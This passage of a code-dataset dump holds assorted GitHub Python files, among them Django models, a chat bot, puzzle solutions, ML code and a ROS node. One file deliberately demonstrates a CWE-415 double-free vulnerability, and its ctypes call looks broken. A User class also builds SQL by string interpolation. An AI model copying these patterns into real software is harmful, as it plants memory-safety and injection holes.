settings\nfrom django.contrib.auth import get_user_model \nfrom django.db import models\nfrom django.urls import reverse\nimport os\nimport uuid\nfrom datetime import datetime\nfrom .parse import parse_datafile\nfrom localflavor.us.us_states import STATE_CHOICES\nfrom localflavor.us.models import USStateField\n\ndef uuid_filename(instance, filename):\n ext = filename.split(\".\")[-1]\n id = uuid.uuid4()\n filename = f\"${id}.${ext}\"\n return os.path.join(\"img\", filename)\n\nclass Institution(models.Model):\n name = models.CharField(max_length=150, null=False, blank=False, help_text=\"Please enter the name of your institution\")\n city = models.CharField(max_length=100, null=False, blank=False, help_text=\"Please enter the city in which your insitution is located\")\n YOUR_STATE_CHOICES = list(STATE_CHOICES)\n YOUR_STATE_CHOICES.insert(0, ('', '-------'))\n state = USStateField(null=False, blank=False, choices=STATE_CHOICES, help_text=\"Please choose the state in which your institution is located from the provided list\")\n \n def __str__(self): return self.name\n\nclass SensorType(models.Model):\n type = models.CharField(max_length=150, null=False, blank=False, help_text=\"Please describe the brand of the sensor you have (ie Raspberry Pi)\")\n model = models.CharField(max_length=150, null=False, blank=False, help_text=\"Please describe the model of the sensor you have (ie 2.0)\")\n\n def __str__(self): return self.type + \" \" + self.model\n\nclass Sensor(models.Model):\n name = models.CharField(max_length=100, null=False, blank=False, help_text=\"Please give your sensor a unique name to distinguish it from other sensors you may have\")\n room = models.CharField(max_length=100, null=False, blank=False, help_text=\"Please describe the location of your sensor\")\n institution = models.ForeignKey(\n 'Institution',\n on_delete=models.CASCADE,\n null=False, blank=False,\n )\n sensortype = models.ForeignKey(\n 'SensorType',\n null=False, blank=False,\n on_delete=models.CASCADE,\n verbose_name=\"Sensor Type\",\n )\n\n def __str__(self): return self.name\n\n def get_absolute_url(self):\n return reverse('sensor_detail', args=[str(self.pk)])\n\nclass DataPoint(models.Model):\n source = models.ForeignKey('Submission', on_delete=models.CASCADE)\n timestamp = models.DateTimeField(null=False, blank=False)\n temperature = models.DecimalField(max_digits=5, decimal_places=2)\n humidity = models.DecimalField(max_digits=5, decimal_places=2)\n\n def __str__(self):\n return str(self.pk)\n\nclass Submission(models.Model):\n id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)\n timestamp = models.DateTimeField(auto_now_add=True)\n sensor = models.ForeignKey(\n 'Sensor',\n on_delete=models.CASCADE,\n null=False, blank=False\n )\n upload = models.FileField(upload_to=\"data-files/%Y/%m/%d/\", null=False, blank=False)\n \n def __str__(self): return self.id.__str__()\n \n def get_absolute_url(self):\n return reverse(\"submission_detail\", args=[str(self.id)])\n\n def save(self, *args, **kwargs):\n\n print(\"Now saving...\")\n super().save(*args, **kwargs) # Save record of submission\n\n # Parse the Uploaded Data File\n datapoints = parse_datafile(self.upload.path, self.sensor.sensortype.type)\n\n # Save the data from data file to the other table\n for point in datapoints: \n DataPoint.objects.create(\n source=self, \n timestamp = point['timestamp'], \n temperature = point['temperature'], \n humidity = point['humidity']) \n\n","repo_name":"ClioGMU/edt","sub_path":"tracker/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3748,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"71005036879","text":"import os\nimport sys\nimport json\nimport uuid\nimport asyncio\nimport base64\nimport logging\nimport signal\nfrom typing import Optional\n\nlogging.basicConfig(level=logging.INFO, format='%(asctime)s %(levelname)s %(module)s %(lineno)d %(message)s')\nlogger = logging.getLogger(__name__)\n\nfrom pymixin.mixin_ws_api import MixinWSApi, MessageView, Category, MessageStatus\n\nprint(os.getpid())\n\nbot_config = None\n\nwith open(sys.argv[1]) as f:\n bot_config = f.read()\n bot_config = json.loads(bot_config)\n\n\nclass MixinBot(MixinWSApi):\n def __init__(self):\n super().__init__(bot_config, on_message=self.on_message)\n\n def init(self):\n loop = asyncio.get_running_loop()\n loop.add_signal_handler(signal.SIGINT, lambda: asyncio.create_task(self.handle_signal(signal.SIGINT)))\n loop.add_signal_handler(signal.SIGTERM, lambda: asyncio.create_task(self.handle_signal(signal.SIGTERM)))\n\n async def handle_signal(self, signum):\n logger.info(\"+++++++handle signal: %s\", signum)\n loop = asyncio.get_running_loop()\n for task in asyncio.all_tasks(loop):\n task.cancel()\n\n async def run(self):\n self.init()\n try:\n await super().run()\n except asyncio.CancelledError:\n await self.ws.close()\n print('CancelledError')\n\n async def on_message(self, id: str, action: str, msg: Optional[MessageView]) -> None:\n logger.info(\"on_message: %s %s %s\", id, action, msg)\n\n if action not in [\"ACKNOWLEDGE_MESSAGE_RECEIPT\", \"CREATE_MESSAGE\", \"LIST_PENDING_MESSAGES\"]:\n logger.info(\"unknown action %s\", action)\n return\n\n if action == \"ACKNOWLEDGE_MESSAGE_RECEIPT\":\n return\n\n if not action == \"CREATE_MESSAGE\":\n return\n\n if not msg:\n return\n\n msgid = msg.message_id\n created_at = msg.created_at\n updated_at = msg.updated_at\n\n await self.echoMessage(msgid)\n\n logger.info('user_id %s', msg.user_id)\n logger.info(\"created_at %s\",created_at)\n\n if not msg.category in [\"SYSTEM_ACCOUNT_SNAPSHOT\", \"PLAIN_TEXT\", \"SYSTEM_CONVERSATION\", \"PLAIN_STICKER\", \"PLAIN_IMAGE\", \"PLAIN_CONTACT\"]:\n logger.info(\"unknown category: %s\", msg.category)\n return\n\n if not msg.category == \"PLAIN_TEXT\" and msg.type == \"message\":\n return\n\n logger.info(msg.data)\n data = base64.urlsafe_b64decode(msg.data)\n logger.info(data)\n await self.sendUserText(msg.conversation_id, msg.user_id, data.decode())\n\nbot = MixinBot()\n\nasync def start():\n bot.init()\n await bot.run()\n\nif __name__ == '__main__':\n asyncio.run(start())\n","repo_name":"learnforpractice/mixin-python","sub_path":"examples/ws_example.py","file_name":"ws_example.py","file_ext":"py","file_size_in_byte":2689,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"29"} +{"seq_id":"21457156781","text":"class User():\n \n def __init__(self, name, uid=None, balance=0.0):\n \"\"\"\n Defines a User in the `users` table.\n\n Args:\n name (string): the User's name\n uid (integer, optional): The User ID of a processed User\n balance (integer, optional): The initial balance of the User. Defaults to 0.0.\n \"\"\"\n self.name = name\n self.uid = uid\n self.balance = balance\n \n # table name listed with this entry\n self.tbl = 'users'\n \n # table columns to insert into\n self.cols = [\n 'name',\n 'balance'\n ]\n \n def __str__(self):\n return f''\n \n def serialize(self):\n \"\"\"\n Turns a User's data into a dictionary for passing to the frontend.\n\n Returns:\n dict: The values of this User\n \"\"\" \n return {\n 'uid': self.uid,\n 'name': self.name,\n 'balance': self.balance\n }\n\n def sqlify(self):\n \"\"\"\n Turns the given Entry into a formatted SQL string to be inserted or updated.\n\n Returns:\n string: The SQL columns insert formatted string\n string: The SQL values insert formatted string\n \"\"\" \n col_sql = ', '.join(self.cols)\n val_sql = f\"'{self.name}', {self.balance}\"\n return col_sql, val_sql\n\n def markdownify(self):\n \"\"\"\n Turns the given Entry into a formatted Markdown string to be added to a table\n\n Returns:\n string: The formatted Markdown string\n \"\"\"\n\n md = f'| {self.name} | {self.balance} |'\n return md\n","repo_name":"BetaGammaEpsilon-com/drachma","sub_path":"api/models/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":1749,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"29"} +{"seq_id":"19899358949","text":"\n\ndef get_score_per_choice(choice):\n if choice == \"X\":\n return 1\n if choice == \"Y\":\n return 2\n if choice == \"Z\":\n return 3\n\ndef rock_paper_scisors(elf_choice:str, my_choice:str):\n \n possible_resutls = {\n (\"A\", \"X\"): 3,\n (\"A\", \"Y\"): 6,\n (\"A\", \"Z\"): 0,\n \n (\"B\", \"X\"): 0,\n (\"B\", \"Y\"): 3,\n (\"B\", \"Z\"): 6,\n \n (\"C\", \"X\"): 6,\n (\"C\", \"Y\"): 0,\n (\"C\", \"Z\"): 3,\n }\n return possible_resutls[(elf_choice, my_choice)]\n\n\ndef main():\n total = 0\n with open(\"input.txt\", \"r\") as file:\n lines = file.readlines()\n for line in lines:\n plays = line.split(' ')\n plays[1] = plays[1].strip('\\n')\n total += rock_paper_scisors(plays[0], plays[1])\n total += get_score_per_choice(plays[1])\n print(f'the total score is : {total}')\n \n\nif __name__==\"__main__\":\n main()\n","repo_name":"MheniMerz/advent_of_code","sub_path":"2022/day02/part01.py","file_name":"part01.py","file_ext":"py","file_size_in_byte":1022,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"33436240567","text":"import sys\r\nimport math\r\n\r\n# Don't let the machines win. You are humanity's last hope...\r\n\r\nwidth = int(input()) # the number of cells on the X axis\r\nheight = int(input()) # the number of cells on the Y axis\r\ntab=[]\r\nfor i in range(height):\r\n line = input() # width characters, each either 0 or .\r\n tab.insert(i,line)\r\n\r\nfor y in range(height):\r\n for x in range(width):\r\n if tab[y][x] != \".\" :\r\n abs=x+1\r\n ord=y\r\n while abs <= (width-1) and tab[ord][abs] == \".\" :\r\n abs+=1\r\n if abs <= (width-1) :\r\n x2=abs\r\n y2=ord\r\n else:\r\n x2=-1\r\n y2=-1\r\n abs=x\r\n ord=y+1\r\n while ord <= (height-1) and tab[ord][abs] == \".\" :\r\n ord+=1\r\n if ord <= (height-1) :\r\n x3=abs\r\n y3=ord\r\n else:\r\n x3=-1\r\n y3=-1\r\n print(x,y,x2,y2,x3,y3)","repo_name":"Holroy33/CodinGame","sub_path":"There_is_no_spoon_ep1.py","file_name":"There_is_no_spoon_ep1.py","file_ext":"py","file_size_in_byte":1000,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"31140556914","text":"# -*- coding: utf-8 -*-\n#\n# gingawidgetFile.py --\n# Plotting function for embedded matplotlib widget with Ginga.\n#\n# Thanks for Eric Jeschke (eric@naoj.org), https://github.com/ejeschke/ginga\n# and\n# https://gist.github.com/Maduranga/ for embedding matplotlibWidget into PyQt4\n\n# Copyleft, Yücel Kılıç (yucelkilic@myrafproject.org) and\n# Mohammad Niaei Shameoni (mshemuni@myrafproject.org).\n# This is open-source software licensed under a GPLv3 license.\n\ntry:\n from PyQt5 import QtWidgets\nexcept Exception as e:\n print(\"{}. PyQt5 is not installed?\".format(e))\n exit(0)\n \ntry:\n from matplotlib.backends.backend_qt5agg import FigureCanvasQTAgg as FigureCanvas\n import matplotlib.pyplot as plt\nexcept Exception as e:\n print(\"{}. Mtplotlib is not installed?\".format(e))\n exit(0)\n \ntry:\n from myraflib import myEnv\nexcept Exception as e:\n print(\"{}. Cannot find myraflib\".format(e))\n exit(0)\n \n\nclass MplCanvas(FigureCanvas):\n\n def __init__(self, verb=True):\n self.verb = verb\n self.etc = myEnv.etc(verb=self.verb)\n self.fop = myEnv.file_op(verb=self.verb)\n \n if not self.fop.is_dir(self.etc.log_dir):\n self.fop.mkdir(self.etc.log_dir)\n \n # create a regular matplotlib figure\n self.etc.log(\"gingawidgetFile is doing something(MplCanvas).\")\n try:\n self.fig = plt.figure()\n FigureCanvas.__init__(self, self.fig)\n FigureCanvas.setSizePolicy(self, QtWidgets.QSizePolicy.Expanding,\n QtWidgets.QSizePolicy.Expanding)\n FigureCanvas.updateGeometry(self)\n except Exception as e:\n self.etc.log(e)\n\n\nclass gingaWidget(QtWidgets.QWidget):\n\n def __init__(self, parent=None, verb=True):\n self.verb = verb\n self.etc = myEnv.etc(verb=self.verb)\n self.fop = myEnv.file_op(verb=self.verb)\n \n if not self.fop.is_dir(self.etc.log_dir):\n self.fop.mkdir(self.etc.log_dir)\n \n self.etc.log(\"gingawidgetFile is doing something(gingaWidget).\")\n try:\n QtWidgets.QWidget.__init__(self, parent)\n self.canvas = MplCanvas()\n self.vbl = QtWidgets.QVBoxLayout()\n self.vbl.addWidget(self.canvas)\n self.setLayout(self.vbl)\n self.parent = parent\n except Exception as e:\n self.etc.log(e)","repo_name":"yucelkilic/myrafproject","sub_path":"gingawidgetFile.py","file_name":"gingawidgetFile.py","file_ext":"py","file_size_in_byte":2433,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"7764413942","text":"from multiprocessing import Pool\nimport time\n\ndef mysquare(a):\n return (a*a)\n\nif __name__ == '__main__':\n start = time.perf_counter()\n pool = Pool()\n array = range(100)\n result = pool.map(mysquare,array)\n print(result)\n end = time.perf_counter()\n print(f'Finished in {round(end-start,2)} Seconds')\n ","repo_name":"ganesh-125/Basic-Python","sub_path":"multiprocess_test.py","file_name":"multiprocess_test.py","file_ext":"py","file_size_in_byte":327,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"17920172787","text":"from datetime import datetime, timezone\nimport socket\n\n\n__all__ = [\n 'convert_epoch_to_isoformat',\n 'get_host',\n 'make_safe_for_json',\n]\n\n\ndef convert_epoch_to_isoformat(epoch):\n dt = datetime.fromtimestamp(epoch, tz=timezone.utc)\n return dt.isoformat()\n\n\ndef get_host():\n name = socket.gethostname()\n try:\n addrs = socket.getaddrinfo(name, None, 0, socket.SOCK_DGRAM, 0,\n socket.AI_CANONNAME)\n except socket.error:\n return None\n\n fqdns = list()\n ips = list()\n for addr in addrs:\n ip = addr[4][0]\n fqdn = addr[3]\n if fqdn:\n fqdns.append(fqdn)\n if ip:\n ips.append(ip)\n if fqdns:\n return fqdns[0]\n return ips[0]\n\n\ndef make_safe_for_json(recorddict):\n PRIMITIVE_TYPES = (str, int, float, bool, type(None))\n for key, value in recorddict.items():\n if not isinstance(value, PRIMITIVE_TYPES):\n recorddict[key] = repr(value)\n return recorddict\n","repo_name":"Uninett/python-logging-humio","sub_path":"src/humiologging/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1007,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"40707541984","text":"# def solution(N, stages): #시간 매우 오래 걸림\n# answer = []\n# prop = {}\n# user_num = len(stages)\n# stage_count = []\n# for idx in range(1, N + 1):\n# num = stages.count(idx)\n# prop[idx] = num / user_num\n# user_num -= num\n#\n# sorted_prop = sorted(prop.items(), key=lambda x: x[1], reverse=True)\n# for value in sorted_prop:\n# answer.append(int(value[0]))\n# return answer\n\ndef solution(N, stages):\n answer = []\n prop = {}\n user_num = len(stages)\n stage_count = [0 for i in range(N)]\n\n for i, stage in enumerate(stages):\n if stage > N:\n continue\n else:\n stage_count[stage - 1] += 1\n\n for idx in range(len(stage_count)):\n if user_num == 0:\n prop[idx + 1] = 0\n continue\n if idx < N:\n prop[idx + 1] = stage_count[idx] / user_num\n user_num -= stage_count[idx]\n\n sorted_prop = sorted(prop.items(), key=lambda x: x[1], reverse=True)\n for value in sorted_prop:\n answer.append(int(value[0]))\n return answer","repo_name":"seunggi-lee/Using_Python","sub_path":"실패율.py","file_name":"실패율.py","file_ext":"py","file_size_in_byte":1094,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"33649455429","text":"import math\n\nimport tensorflow as tf, tf_keras\n\nfrom official.modeling import tf_utils\n\n\nclass Attention(tf_keras.layers.Layer):\n \"\"\"Multi-headed attention layer.\"\"\"\n\n def __init__(self, hidden_size, num_heads, attention_dropout):\n \"\"\"Initialize Attention.\n\n Args:\n hidden_size: int, output dim of hidden layer.\n num_heads: int, number of heads to repeat the same attention structure.\n attention_dropout: float, dropout rate inside attention for training.\n \"\"\"\n if hidden_size % num_heads:\n raise ValueError(\n \"Hidden size ({}) must be divisible by the number of heads ({}).\"\n .format(hidden_size, num_heads))\n\n super(Attention, self).__init__()\n self.hidden_size = hidden_size\n self.num_heads = num_heads\n self.attention_dropout = attention_dropout\n\n def build(self, input_shape):\n \"\"\"Builds the layer.\"\"\"\n # Layers for linearly projecting the queries, keys, and values.\n size_per_head = self.hidden_size // self.num_heads\n\n def _glorot_initializer(fan_in, fan_out):\n limit = math.sqrt(6.0 / (fan_in + fan_out))\n return tf_keras.initializers.RandomUniform(minval=-limit, maxval=limit)\n\n attention_initializer = _glorot_initializer(input_shape.as_list()[-1],\n self.hidden_size)\n self.query_dense_layer = tf_keras.layers.EinsumDense(\n \"BTE,ENH->BTNH\",\n output_shape=(None, self.num_heads, size_per_head),\n kernel_initializer=tf_utils.clone_initializer(attention_initializer),\n bias_axes=None,\n name=\"query\")\n self.key_dense_layer = tf_keras.layers.EinsumDense(\n \"BTE,ENH->BTNH\",\n output_shape=(None, self.num_heads, size_per_head),\n kernel_initializer=tf_utils.clone_initializer(attention_initializer),\n bias_axes=None,\n name=\"key\")\n self.value_dense_layer = tf_keras.layers.EinsumDense(\n \"BTE,ENH->BTNH\",\n output_shape=(None, self.num_heads, size_per_head),\n kernel_initializer=tf_utils.clone_initializer(attention_initializer),\n bias_axes=None,\n name=\"value\")\n\n output_initializer = _glorot_initializer(self.hidden_size, self.hidden_size)\n self.output_dense_layer = tf_keras.layers.EinsumDense(\n \"BTNH,NHE->BTE\",\n output_shape=(None, self.hidden_size),\n kernel_initializer=output_initializer,\n bias_axes=None,\n name=\"output_transform\")\n super(Attention, self).build(input_shape)\n\n def get_config(self):\n return {\n \"hidden_size\": self.hidden_size,\n \"num_heads\": self.num_heads,\n \"attention_dropout\": self.attention_dropout,\n }\n\n def call(self,\n query_input,\n source_input,\n bias,\n training,\n cache=None,\n decode_loop_step=None):\n \"\"\"Apply attention mechanism to query_input and source_input.\n\n Args:\n query_input: A tensor with shape [batch_size, length_query, hidden_size].\n source_input: A tensor with shape [batch_size, length_source,\n hidden_size].\n bias: A tensor with shape [batch_size, 1, length_query, length_source],\n the attention bias that will be added to the result of the dot product.\n training: A bool, whether in training mode or not.\n cache: (Used during prediction) A dictionary with tensors containing\n results of previous attentions. The dictionary must have the items:\n {\"k\": tensor with shape [batch_size, i, heads, dim_per_head],\n \"v\": tensor with shape [batch_size, i, heads, dim_per_head]} where\n i is the current decoded length for non-padded decode, or max\n sequence length for padded decode.\n decode_loop_step: An integer, step number of the decoding loop. Used only\n for autoregressive inference on TPU.\n\n Returns:\n Attention layer output with shape [batch_size, length_query, hidden_size]\n \"\"\"\n # Linearly project the query, key and value using different learned\n # projections. Splitting heads is automatically done during the linear\n # projections --> [batch_size, length, num_heads, dim_per_head].\n query = self.query_dense_layer(query_input)\n key = self.key_dense_layer(source_input)\n value = self.value_dense_layer(source_input)\n\n if cache is not None:\n # Combine cached keys and values with new keys and values.\n if decode_loop_step is not None:\n cache_k_shape = cache[\"k\"].shape.as_list()\n indices = tf.reshape(\n tf.one_hot(decode_loop_step, cache_k_shape[1], dtype=key.dtype),\n [1, cache_k_shape[1], 1, 1])\n key = cache[\"k\"] + key * indices\n cache_v_shape = cache[\"v\"].shape.as_list()\n indices = tf.reshape(\n tf.one_hot(decode_loop_step, cache_v_shape[1], dtype=value.dtype),\n [1, cache_v_shape[1], 1, 1])\n value = cache[\"v\"] + value * indices\n else:\n key = tf.concat([tf.cast(cache[\"k\"], key.dtype), key], axis=1)\n value = tf.concat([tf.cast(cache[\"v\"], value.dtype), value], axis=1)\n\n # Update cache\n cache[\"k\"] = key\n cache[\"v\"] = value\n\n # Scale query to prevent the dot product between query and key from growing\n # too large.\n depth = (self.hidden_size // self.num_heads)\n query *= depth**-0.5\n\n # Calculate dot product attention\n logits = tf.einsum(\"BTNH,BFNH->BNFT\", key, query)\n logits += bias\n # Note that softmax internally performs math operations using float32\n # for numeric stability. When training with float16, we keep the input\n # and output in float16 for better performance.\n weights = tf.nn.softmax(logits, name=\"attention_weights\")\n if training:\n weights = tf.nn.dropout(weights, rate=self.attention_dropout)\n attention_output = tf.einsum(\"BNFT,BTNH->BFNH\", weights, value)\n\n # Run the outputs through another linear projection layer. Recombining heads\n # is automatically done --> [batch_size, length, hidden_size]\n attention_output = self.output_dense_layer(attention_output)\n return attention_output\n\n\nclass SelfAttention(Attention):\n \"\"\"Multiheaded self-attention layer.\"\"\"\n\n def call(self,\n query_input,\n bias,\n training,\n cache=None,\n decode_loop_step=None):\n return super(SelfAttention, self).call(query_input, query_input, bias,\n training, cache, decode_loop_step)\n","repo_name":"tensorflow/models","sub_path":"official/legacy/transformer/attention_layer.py","file_name":"attention_layer.py","file_ext":"py","file_size_in_byte":6447,"program_lang":"python","lang":"en","doc_type":"code","stars":76227,"dataset":"github-code","pt":"29"} +{"seq_id":"75003129678","text":"import ctypes\n\n\n# Define a C structure for the vulnerable object\nclass VulnerableObject(ctypes.Structure):\n _fields_ = [(\"data\", ctypes.POINTER(ctypes.c_char)),\n (\"size\", ctypes.c_int)]\n\n\ndef delete_object(obj_ptr):\n # CWE-415: Double Free - Attempt to free memory twice\n # The memory pointed to by obj_ptr is freed twice, causing a double free vulnerability\n ctypes.free(obj_ptr)\n ctypes.free(obj_ptr)\n\n\n# Create a vulnerable object and free it\nobj_ptr = ctypes.pointer(VulnerableObject(ctypes.c_char_p(b\"hello\"), 5))\ndelete_object(obj_ptr)\n","repo_name":"Tech-Raza/PythonVulnerability","sub_path":"Vulnerability/complaint/CWE415/CWE415.py","file_name":"CWE415.py","file_ext":"py","file_size_in_byte":572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"6639044380","text":"'''\r\nSolicitar al usuario números enteros hasta que ingrese el 0.\r\nAlmacenar los números en una lista y luego imprimir el mayor (sin utilizar la función max())\r\n'''\r\n\r\nlista=[]\r\nmayor=0\r\nwhile True:\r\n num= input('Ingrese un numero ')\r\n num = int(num)\r\n if num == 0:\r\n break\r\n lista.append(num)\r\n\r\nfor i in range(len(lista)):\r\n if lista[i] > mayor:\r\n mayor = lista[i]\r\n\r\nprint(f'El numeto mayr es {mayor}')","repo_name":"rodolfoSara/UTN","sub_path":"unidad 4/18 lista.py","file_name":"18 lista.py","file_ext":"py","file_size_in_byte":437,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"19160733374","text":"# Vamos a practicar cómo recorrer los elementos de un arreglo de una dimensióna. Queremos hacer una \n# función para darnos cuenta si en un arreglo de números enteros alguno de los números tiene un vecino \n# derecho que sea múltiplo de él.\n# En el ejemplo de la gráfica el número 7 tiene un vecino a la derecha que es el número 3.\n# 3 no es múltiplo de 7, por lo que hasta ahora no has encontrado la condición.\n# El siguiente número de la lista es el número 3, y su vecino derecho es el número 8.\n# 8 no es múltiplo de 3, por lo que hasta ahora no has encontrado la condición.\n# Finalmente el siguiente número de la lista es el número 8, y su vecino derecho es el número 4. \n# 4 en este caso si es múltiplo de 8, por lo que el programa termina y retorna verdadero, es decir si \n# existe un número cuyo vecino derecho es múltiplo de él\n\nimport numpy as np\ndef multiplos(arreglo):\n for j in range(0, len(arreglo)):\n if j != len(arreglo)-1:\n if arreglo[j] % arreglo[j+1] == 0:\n return True\n return False\n\n#Codigo para pruebas (incluir unicamente al enviar su solución)\n\nn = int(input())\nentrada = input().split(\" \")\nentrada = list(map(lambda x: int(x),entrada))\narreglo = np.array(entrada)\nprint(multiplos(arreglo))","repo_name":"vicmaHo/Aprendiendo-Python--Apuntes-Ejercicios","sub_path":"EjericiosJuez/RecorrerArreglo.py","file_name":"RecorrerArreglo.py","file_ext":"py","file_size_in_byte":1275,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"29435277304","text":"import gym\nimport policy.network as network\nimport numpy as np\nimport random\n\nenv = gym.make(\"CartPole-v0\")\n\n# Hyper parameters\ngamma = 0.6\nepsilon = 0.05\nbatch_size = 100\n# init function approximator\nq = network.ActionValueNet(0.002, decay=0.001, epoch=1)\nepisode = 0\nfor j in range(20000):\n\t\n\tepsilon = epsilon * 0.9999 # decay epsilon\n\tepisode += 1\n\t\n\t# init episode\n\tstep = 0\t\n\tstate = env.reset()\t\n\taction = env.action_space.sample()\n\tif epsilon < random.random():\n\t\taction = np.argmax(q.predict(state, [0, 1]))\n\n\t# run episode\n\twhile True:\n\t\tstep += 1\n\t\tnext_state, reward, terminated, info = env.step(action)\n\n\t\t# make TD target\n\t\tnext_q_values = q.predict(next_state, [0, 1])\n\n\t\tif epsilon < random.random():\n\t\t\tnext_action = np.argmax(next_q_values)\n\t\telse:\n\t\t\tnext_action = env.action_space.sample()\n\n\t\tbootstrap_q_value = next_q_values[next_action]\n\t\ttd_target = reward + gamma * bootstrap_q_value\n\t\t\n\t\t# Train\n\t\th = q.train([{\"state\": state, \"action\": action}], [td_target])\n\t\t\n\t\tstate = next_state\t\t\t\n\t\taction = next_action\n\t\t\n\t\tif terminated:\n\t\t\tloss = np.mean(h.history['loss'])\n\t\t\tprint(\"#%d, step:%f, loss:%f, epsilon %f\" %\n\t\t\t\t\t(episode, step, loss, epsilon))\n\t\t\tbreak\n\t\n\t\n","repo_name":"ho4040/gym","sub_path":"CartPole-v0/cartpole_SARSA.py","file_name":"cartpole_SARSA.py","file_ext":"py","file_size_in_byte":1192,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"5557435722","text":"#! /usr/bin/env python3\n# launched as a node under /bat_swarm\n#import ros stuff\nimport rospy\n#import messages\nfrom std_msgs.msg import UInt32, Float32\nfrom bat_algo.msg import Float32List\nimport math\n\nNP_ = rospy.get_param('NP')\ngen_num_list_ = [0.0] * NP_\noff_bots_ = [0.0] * NP_\n# sub_list_ = [None] * NP_\nmove_bat_list = [0.0] * NP_\n\nend_time = None\nstart_time = end_time\n\ncount_list = [False]*NP_\nreach_time = [0.0]*NP_\n\ndef gen_checker(msg):\n global sub_list_, gen_num_list_, off_bots_\n # * data[0] -> bat number\n # * data[1] -> gen number\n # * data[2] -> bot's done state\n gen_num_list_[ int(msg.data[0]) ] = float(msg.data[1])\n off_bots_[ int(msg.data[0]) ] = float(msg.data[2])\n # for n in range(NP_):\n # if off_bots_[n] == 1.0:\n # sub_list_[n].unregister()\n\ndef move_bat(msg):\n global move_bat_list\n # * data[0] -> bat number\n # * data[1] -> move_bat number\n move_bat_list[ int(msg.data[0]) ] = float(msg.data[1])\n\ndef shutdown_msgs():\n global end_time, start_time\n end_time = rospy.Time.now()\n run_time = end_time.to_sec() - start_time.to_sec() \n rospy.loginfo(\"\\033[0;34mSimulation Time Taken: %f\\033[0m\" %run_time)\n for n in range(NP_): \n rospy.loginfo(\"\\033[0;36m Time taken for %i bat to reach goal: %f \\033[0m\" ,n+1, reach_time[n])\n\ndef main():\n global NP_, sub_list_, gen_num_list_, off_bots_, move_bat_list, end_time, start_time, count_list, reach_time\n rospy.init_node('gen_checker')\n publisher = rospy.Publisher('common_gen', Float32List, queue_size=1)\n \n for n in range(NP_):\n name = 'bat_' + str(n+1) + '/cur_gen'\n # sub_list_[n] = \n rospy.Subscriber(name, Float32List, gen_checker ) # /bat_swarm/bat_1/cur_gen <- global topic name\n rospy.loginfo(\"gen_checker subscribed to bot %s of %s \" %(n+1, NP_))\n \n for n in range(NP_):\n name = 'bat_' + str(n+1) + '/move_bat'\n # sub_list_[n] = \n rospy.Subscriber(name, Float32List, move_bat ) # /bat_swarm/bat_1/move_bat <- global topic name\n\n msg = Float32List()\n msg.data = [ float(0), float(0) ]\n publisher.publish(msg)\n\n rospy.on_shutdown(shutdown_msgs)\n \n rate = rospy.Rate(20)\n \n got_start_time = False\n \n start_time = rospy.Time.now()\n end_time = start_time\n \n while not rospy.is_shutdown():\n # average = sum(gen_num_list_)/(NP_-sum(off_bots_))\n average = sum(gen_num_list_)/NP_\n avg_mov = sum(move_bat_list)/NP_\n \n if avg_mov == 1.0 and not got_start_time:\n start_time = rospy.Time.now()\n got_start_time = True\n \n for n in range(NP_):\n if(off_bots_[n]==1 and count_list[n]== False):\n reach_time[n] = rospy.Time.now().to_sec()\n count_list[n] = True\n \n if math.ceil(average) == math.floor(average): # check if integer\n msg.data = [ float(average), sum(off_bots_) ]\n # for n in range(NP_):\n # if off_bots_[n] == 1.0:\n # gen_num_list_[n] += 1.0\n publisher.publish(msg)\n rospy.loginfo_throttle(period=0.2, msg=\"All Bats Moving: \\033[0;36m%.1f\\033[0m avg_gen_num: \\033[0;36m%.2f\\033[0m bots done: \\033[0;36m%i\\033[0m\" % (avg_mov, average, sum(off_bots_)))\n if sum(off_bots_) == NP_:\n rospy.signal_shutdown(reason=\"It's Over!!!\")\n # end_time = rospy.Time.now()\n break\n rate.sleep()\n\n shutdown_msgs()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"saivojjala/Heuristic-Optimization-of-Bat-Algorithm-for-Heterogeneous-Swarms-using-Perception","sub_path":"bat_algo/scripts/gen_checker.py","file_name":"gen_checker.py","file_ext":"py","file_size_in_byte":3546,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"29"} +{"seq_id":"22592019527","text":"# Based on example of scatter plot animation from:\n# http://stackoverflow.com/questions/9401658/matplotlib-animating-a-scatter-plot\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.animation as animation\n\n# Convert an list of (x, y) to a list of x and a list of y\ndef points_to_xy(points):\n x = []\n y = []\n for point in points:\n x.append(point[0])\n y.append(point[1])\n return x, y\n\nclass AnimatedScatterPlot(object):\n def __init__(self, scatter_plots):\n self.scatter_plots = scatter_plots\n self.stream = self.data_stream()\n self.fig, self.ax = plt.subplots()\n # Interval = ms\n self.ani = animation.FuncAnimation(self.fig, self.update, interval=500,\n init_func=self.setup_plot, blit=True)\n\n def setup_plot(self):\n # Create initial plot based on first call to data_stream generator\n x, y = points_to_xy(next(self.stream))\n self.scat = self.ax.scatter(x=x, y=y, animated=True)\n self.ax.axis([-10, 10, -10, 10])\n # FuncAnimation expects a sequence of artists, so add trailing comma\n return 